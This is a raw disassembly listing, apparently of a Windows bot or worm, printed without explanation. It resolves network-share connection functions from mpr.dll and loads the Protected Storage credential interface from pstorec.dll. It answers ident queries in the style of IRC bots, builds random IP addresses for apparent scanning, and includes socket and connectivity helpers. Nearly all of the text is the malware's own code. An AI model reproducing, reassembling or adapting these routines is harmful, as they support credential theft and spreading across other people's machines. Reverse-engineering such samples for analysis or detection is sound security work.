		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF3C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF40, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF44, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF48, eax

loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF54, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF58, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF5C, eax
		cmp	dword_41DF54, 0
		jz	short loc_403D85
		cmp	dword_41DF58, 0
		jz	short loc_403D85
		cmp	dword_41DF5C, 0
		jnz	short loc_403DA3

loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DF54, offset sub_403588
		mov	dword_41DF58, offset sub_4038BA
		mov	dword_41DF5C, offset sub_403BBD

loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF50, eax

loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF4C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------

loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7

loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------

loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------

loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07

loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------

loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EF98
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EF98
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------

loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EF98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------

loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004

loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18

loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------

loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------

loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1

loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0

loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------

loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx

loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------

loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx

loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx

loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx

loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax

loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------

loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------

loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E

loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------

loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------

loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------

loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------

loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F018
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------

loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1

loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx

loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E364, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E368
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E364
		call	sub_409C9D
		pop	ecx
		pop	ecx

loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E368
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx

loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------

loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------

loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------

loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0

loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------

loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0

loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------

loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DF58	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------

loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------

loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DF58	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------

loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------

loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------

loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax

loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DF58	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
